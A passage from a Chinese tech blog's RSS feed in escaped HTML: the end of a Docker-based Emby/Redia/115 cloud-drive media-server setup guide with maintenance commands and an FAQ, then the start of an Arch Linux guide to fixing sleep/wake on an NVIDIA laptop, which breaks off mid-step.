href=&quot;#启动和配置-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/redia&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;访问 &lt;code&gt;http://服务器IP:9025&lt;/code&gt; | 账号 &lt;code&gt;admin&lt;/code&gt; | 密码 &lt;code&gt;password&lt;/code&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;步骤 1：配置云盘助手&lt;a href=&quot;#步骤-1配置云盘助手&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;反向代理 → 云盘助手 → 添加 115，配置名称填 &lt;code&gt;115&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;配置云盘助手&quot; loading=&quot;lazy&quot; width=&quot;3728&quot; height=&quot;1906&quot; src=&quot;/_astro/media-center-redia-cloud-helper.Cjzp76xy_Z47NRi.webp&quot; srcset=&quot;/_astro/media-center-redia-cloud-helper.Cjzp76xy_Zz2Ukk.webp 640w, /_astro/media-center-redia-cloud-helper.Cjzp76xy_Z1wxONy.webp 750w, /_astro/media-center-redia-cloud-helper.Cjzp76xy_4Wkw8.webp 828w, /_astro/media-center-redia-cloud-helper.Cjzp76xy_qvt79.webp 1080w, /_astro/media-center-redia-cloud-helper.Cjzp76xy_ZCs1ag.webp 1280w, /_astro/media-center-redia-cloud-helper.Cjzp76xy_28aq2a.webp 1668w, /_astro/media-center-redia-cloud-helper.Cjzp76xy_ZxDwnU.webp 2048w, /_astro/media-center-redia-cloud-helper.Cjzp76xy_21NCf.webp 2560w, /_astro/media-center-redia-cloud-helper.Cjzp76xy_Z47NRi.webp 3728w&quot; /&gt;&lt;figcaption&gt;配置云盘助手&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 2：填入 115 配置&lt;a href=&quot;#步骤-2填入-115-配置&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;115配置示例&quot; loading=&quot;lazy&quot; width=&quot;3714&quot; height=&quot;1906&quot; src=&quot;/_astro/media-center-redia-115-config.MUgAUCDf_EWFX2.webp&quot; srcset=&quot;/_astro/media-center-redia-115-config.MUgAUCDf_2gybpA.webp 640w, /_astro/media-center-redia-115-config.MUgAUCDf_Z2dAIN3.webp 750w, /_astro/media-center-redia-115-config.MUgAUCDf_rrzwh.webp 828w, /_astro/media-center-redia-115-config.MUgAUCDf_5rnMn.webp 1080w, /_astro/media-center-redia-115-config.MUgAUCDf_Z23amKJ.webp 1280w, /_astro/media-center-redia-115-config.MUgAUCDf_Z2bUe86.webp 1668w, /_astro/media-center-redia-115-config.MUgAUCDf_o9074.webp 2048w, /_astro/media-center-redia-115-config.MUgAUCDf_Z1GGDlu.webp 2560w, /_astro/media-center-redia-115-config.MUgAUCDf_EWFX2.webp 3714w&quot; /&gt;&lt;figcaption&gt;115配置示例&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 3：配置 Emby 服务器路径替换&lt;a href=&quot;#步骤-3配置-emby-服务器路径替换&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;反向代理 → 媒体服务器 → Emby 服务器&lt;/p&gt;&lt;p&gt;路径替换是 Redia 的核心功能，将 strm 中的网盘路径映射到云盘助手名称：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/CloudNAS/CloudDrive/115&lt;/span&gt;&lt;span&gt; =&amp;gt; &lt;/span&gt;&lt;span&gt;115&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/CloudNAS/CloudDrive/123云盘&lt;/span&gt;&lt;span&gt; =&amp;gt; &lt;/span&gt;&lt;span&gt;123&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/CloudNAS/CloudDrive/天翼云盘&lt;/span&gt;&lt;span&gt; =&amp;gt; &lt;/span&gt;&lt;span&gt;天翼云盘&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Emby服务器配置&quot; loading=&quot;lazy&quot; width=&quot;3730&quot; height=&quot;1908&quot; src=&quot;/_astro/media-center-redia-emby-server.DJ8ZtIee_Z1A6tCs.webp&quot; srcset=&quot;/_astro/media-center-redia-emby-server.DJ8ZtIee_1Dda7t.webp 640w, /_astro/media-center-redia-emby-server.DJ8ZtIee_Z2pfAg0.webp 750w, /_astro/media-center-redia-emby-server.DJ8ZtIee_QxWeo.webp 828w, /_astro/media-center-redia-emby-server.DJ8ZtIee_1jqrpI.webp 1080w, /_astro/media-center-redia-emby-server.DJ8ZtIee_ZXHGXN.webp 1280w, /_astro/media-center-redia-emby-server.DJ8ZtIee_2agFP6.webp 1668w, /_astro/media-center-redia-emby-server.DJ8ZtIee_28Ozif.webp 2048w, /_astro/media-center-redia-emby-server.DJ8ZtIee_2mvlpg.webp 2560w, /_astro/media-center-redia-emby-server.DJ8ZtIee_Z1A6tCs.webp 3730w&quot; /&gt;&lt;figcaption&gt;Emby服务器配置&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;路径替换示例&quot; loading=&quot;lazy&quot; width=&quot;3372&quot; height=&quot;1906&quot; src=&quot;/_astro/media-center-redia-path-replace.C2j3ZLDo_ZamVcM.webp&quot; srcset=&quot;/_astro/media-center-redia-path-replace.C2j3ZLDo_Zt98NO.webp 640w, /_astro/media-center-redia-path-replace.C2j3ZLDo_Z7Dxb6.webp 750w, /_astro/media-center-redia-path-replace.C2j3ZLDo_Z1VHqbC.webp 828w, /_astro/media-center-redia-path-replace.C2j3ZLDo_SrH4W.webp 1080w, /_astro/media-center-redia-path-replace.C2j3ZLDo_Z2lIHi4.webp 1280w, /_astro/media-center-redia-path-replace.C2j3ZLDo_dppG.webp 1668w, /_astro/media-center-redia-path-replace.C2j3ZLDo_10tDSY.webp 2048w, /_astro/media-center-redia-path-replace.C2j3ZLDo_Z17JelD.webp 2560w, /_astro/media-center-redia-path-replace.C2j3ZLDo_ZamVcM.webp 3372w&quot; /&gt;&lt;figcaption&gt;路径替换示例&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 4：保存并启用&lt;a href=&quot;#步骤-4保存并启用&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Emby配置完成&quot; loading=&quot;lazy&quot; width=&quot;3728&quot; height=&quot;1908&quot; src=&quot;/_astro/media-center-redia-emby-done.BwdQOZlq_Z2oPHx3.webp&quot; srcset=&quot;/_astro/media-center-redia-emby-done.BwdQOZlq_19xiDf.webp 640w, /_astro/media-center-redia-emby-done.BwdQOZlq_Zr5wEn.webp 750w, /_astro/media-center-redia-emby-done.BwdQOZlq_ZpjNO5.webp 828w, /_astro/media-center-redia-emby-done.BwdQOZlq_1PyFf8.webp 1080w, /_astro/media-center-redia-emby-done.BwdQOZlq_1UNl1N.webp 1280w, /_astro/media-center-redia-emby-done.BwdQOZlq_bVoUa.webp 1668w, /_astro/media-center-redia-emby-done.BwdQOZlq_Z6WouF.webp 2048w, /_astro/media-center-redia-emby-done.BwdQOZlq_Z1K0g4P.webp 2560w, /_astro/media-center-redia-emby-done.BwdQOZlq_Z2oPHx3.webp 3728w&quot; /&gt;&lt;figcaption&gt;Emby配置完成&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;启用服务器 → 保存配置&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;部署顺序总结&lt;a href=&quot;#部署顺序总结&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1. 安装 Symedia 容器&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2. 全局设置（TMDB、云盘根目录）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;3. CD2 助手（刷新令牌）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;4. 链接同步（生成 strm）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;5. EmbyServer 联动&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;6. Webhook（实时监控）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;7. 通知渠道（Telegram）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;8. 神医插件（加速播放）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;9. 刮削归档&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;10. 进阶：聚合搜索 + 网盘转存&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;运维命令&lt;a href=&quot;#运维命令&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 各服务独立管理&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/clouddrive2&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;logs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/emby&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;restart&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/symedia&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pull&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/redia&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;down&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 所有容器状态&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ps&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--format&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;table {{.Names}}\t{{.Status}}\t{{.Ports}}&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 更新全部&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clouddrive2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;emby&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;symedia&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;redia&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;do&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/&lt;/span&gt;&lt;span&gt;$dir&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pull&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;done&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 备份配置&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-czf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/backup/media-stack-&lt;/span&gt;&lt;span&gt;$(&lt;/span&gt;&lt;span&gt;date&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+%Y%m%d&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;.tar.gz&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;FAQ&lt;a href=&quot;#faq&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CD2 挂载失败？&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;sudo mount --make-shared /volume1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Emby 扫不到媒体？&lt;/strong&gt;&lt;br /&gt;
确认 Symedia 和 Emby 的 &lt;code&gt;/CloudNAS&lt;/code&gt;、&lt;code&gt;/media&lt;/code&gt; 路径映射完全一致&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CD2 掉盘后恢复不了？&lt;/strong&gt;&lt;br /&gt;
挂载路径前加一层目录，如 &lt;code&gt;/CloudNAS/CloudDrive/115&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;115 429 限流？&lt;/strong&gt;&lt;br /&gt;
CD2 → 115 设置 → MaxQueriesPerSecond 改为 1&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Strm 起播慢？&lt;/strong&gt;&lt;br /&gt;
安装神医插件，开启”提取视频信息”&lt;/p&gt;&lt;p&gt;&lt;strong&gt;端口表：&lt;/strong&gt;&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;服务&lt;/th&gt;&lt;th&gt;端口&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CloudDrive2&lt;/td&gt;&lt;td&gt;19798&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Emby&lt;/td&gt;&lt;td&gt;8096&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Symedia&lt;/td&gt;&lt;td&gt;8095&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Redia&lt;/td&gt;&lt;td&gt;9025&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;hr /&gt;&lt;p&gt;&lt;strong&gt;参考链接：&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.viplee.cc&quot; target=&quot;_blank&quot;&gt;Symedia Wiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.symedia.top/archive/redia/Redia%E9%83%A8%E7%BD%B2%E6%95%99%E7%A8%8B.html&quot; target=&quot;_blank&quot;&gt;Redia 部署教程&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sjtuross/StrmAssistant&quot; target=&quot;_blank&quot;&gt;StrmAssistant 神医插件&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;</content:encoded></item><item><title>机械革命蛟龙16K 睡眠无法唤醒修复教程</title><link>https://ld.ac.cn/posts/sleep-wake-fix/</link><guid isPermaLink="true">https://ld.ac.cn/posts/sleep-wake-fix/</guid><description>解决 Arch Linux 下 NVIDIA 独显笔记本睡眠无法唤醒的问题</description><pubDate>Sun, 07 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;适用机型: 机械革命蛟龙16K (GM6BG0Q)&lt;br /&gt;
系统: Arch Linux (Kernel 7.0.11) + KDE Plasma Wayland&lt;br /&gt;
日期: 2026-06-07&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;问题现象&lt;a href=&quot;#问题现象&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;合盖或手动触发睡眠后，电脑无法唤醒——按键盘、鼠标、电源键均无反应，屏幕黑屏，只能长按电源键强制关机。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;根因分析&lt;a href=&quot;#根因分析&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;




























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;发现&lt;/th&gt;&lt;th&gt;说明&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;睡眠模式&lt;/td&gt;&lt;td&gt;仅支持 &lt;code&gt;s2idle&lt;/code&gt;（无 S3 deep sleep），这是 AMD 现代笔记本的常见情况&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;独显错误&lt;/td&gt;&lt;td&gt;NVIDIA RTX 4060 在 PCIe 总线上产生大量 &lt;code&gt;Correctable Error (BadTLP)&lt;/code&gt;，链路从 16 GT/s x8 降速到 2.5 GT/s&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;无 D3cold&lt;/td&gt;&lt;td&gt;GPU 不支持 D3cold 深度断电，s2idle 时处于半死不活的状态&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;唤醒死锁&lt;/td&gt;&lt;td&gt;内核日志显示进入 &lt;code&gt;suspend entry (s2idle)&lt;/code&gt; 后永无 &lt;code&gt;suspend exit&lt;/code&gt;——系统在睡眠中被 GPU/PCIe 卡死&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;BIOS 老旧&lt;/td&gt;&lt;td&gt;N.1.19MRO15 (2023-06-29)，ACPI 存在已知 bug&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;核心问题：&lt;strong&gt;NVIDIA 独显的电源管理与 s2idle 不兼容&lt;/strong&gt;，导致进入睡眠后 PCIe 设备响应异常，整个系统死锁。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;修复方案 A：添加内核参数（推荐先试）&lt;a href=&quot;#修复方案-a添加内核参数推荐先试&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;新增的内核参数说明&lt;a href=&quot;#新增的内核参数说明&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;/th&gt;&lt;th&gt;作用&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;pci=noaer&lt;/code&gt;&lt;/td&gt;&lt;td&gt;禁用 PCIe AER（高级错误报告），抑制独显的 Correctable Error 洪流，防止这些错误干扰睡眠流程&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;nvidia.NVreg_EnableS0ixPowerManagement=1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;启用 NVIDIA 驱动的 S0ix 低功耗睡眠支持&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;nvidia.NVreg_RegistryDwords=EnableForceP2PowerState:1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;强制独显闲时进入 P2 低功耗状态&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;pcie_aspm.policy=powersupersave&lt;/code&gt;&lt;/td&gt;&lt;td&gt;激进 PCIe ASPM 省电策略，让总线在睡眠时更快降功耗&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;操作步骤&lt;a href=&quot;#操作步骤&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;第 1 步：备份原始内核参数&lt;a href=&quot;#第-1-步备份原始内核参数&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/kernel/cmdline&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/kernel/cmdline.bak&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;第 2 步：修改内核命令行&lt;a 